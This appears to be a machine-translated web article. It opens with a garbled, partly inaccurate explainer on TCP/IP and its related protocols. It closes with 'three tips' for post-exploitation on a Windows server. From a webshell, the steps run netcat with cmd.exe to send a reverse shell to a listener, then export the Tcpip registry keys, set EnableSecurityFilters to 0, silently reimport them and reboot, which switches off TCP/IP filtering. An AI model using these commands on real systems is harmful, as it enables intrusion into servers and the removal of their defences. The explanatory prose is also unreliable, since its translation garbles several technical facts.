A trick to lift tcp ip protocol restrictions

We all know that the tcp ip protocol is the core protocol for network transmission. This includes the TCP protocol and the IP protocol. However, many friends want to remove the restrictions of the tcp ip protocol. We have summarized these methods here. Let's take a systematic look at the concept and meaning of the tcp ip protocol.

TCP/IP (Transmission Control Protocol/Internet Protocol) is the basic communication language or protocol in the Internet. It is also used as a communication protocol in the private network. When you connect directly to the network, your computer should provide a copy of the TCP/IP program, and the computer receiving the information you sent should also have a copy of the TCP/IP program ｡

TCP/IP is a two-tier program. The upper layer is the transmission control protocol, which aggregates information or splits files into smaller packets. These packets are transmitted to the TCP layer of the receiving end over the network, the TCP layer at the receiving end restores the packet to the original file. The low layer is the Internet protocol, which processes the address part of each packet, make these packets to the correct destination. The Gateway computer on the network selects routes based on the address of the information. Even the packets from the same file may be different, but it will eventually converge at the destination ｡

TCP/IP uses the Client/Server mode for communication. TCP/IP communication is point-to-point, communication is between one host in the network and another host. There is no nationality between TCP/IP and upper-layer applications ", because each customer request is regarded as unrelated to the previous request, the "stateless" between them releases the network path, so that everyone can continuously use the network ｡

Many users are familiar with high-level application protocols using the TCP/IP protocol, including Hypertext Transfer Protocol (HTTP) for the World Wide Web, file transfer protocol (FTP), Telnet, and Simple Mail Transfer Protocol (SMTP) these protocols are usually packaged with the tcp ip protocol ｡

A personal computer that uses a simulated telephone modem to connect to the network usually uses the Serial Line Interface Protocol (SLIP) and Point-to-Point Protocol (PPP) these protocols compress IP packets and send them to the recipient's modem through a dialing telephone line ｡

Protocols related to the TCP/IP protocol include User Datagram Protocol (UDP), which replaces the TCP/IP protocol for special purposes. Other protocols are used by network hosts to exchange route information, including Internet Control Information Protocol (ICMP), Internal Gateway Protocol (IGP), external Gateway Protocol (EGP), and Border Gateway Protocol (BGP )｡

Three Tips for removing tcp ip protocol restrictions

1. Use NC to bounce back to get a shell

Local listening NC-l-p 32
WEBSHELL run:
X: \ xxx \ serv-u.exe "x: \ xxx \ nc.exe-e cmd.exe *. * port"
Get a shell

2. Export the Registry file under CMD

C: \> regedit-e x: \ xxx \ 1.reg HKEY_LOCAL_MACHINE \ SYSTEM \ ControlSet001 \ Ser
Vices \ Tcpip
C: \> regedit-e x: \ xxx \ 2.reg HKEY_LOCAL_MACHINE \ SYSTEM \ ControlSet002 \ Services \ Tcpip
C: \> regedit-e x: \ xxx \ 3.reg HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Services \ Tcpip
Modify the EnableSecurityFilters of each file
Change the last 1 to 0.

3. Import the Registry File

X: \ xxx> regedit-s 1.reg
X: \ xxx> regedit-s 2.reg
X: \ xxx> regedit-s 3.reg
-S indicates no prompt
Restart command iisreset/reboot

Here we have removed the tcp ip protocol restrictions.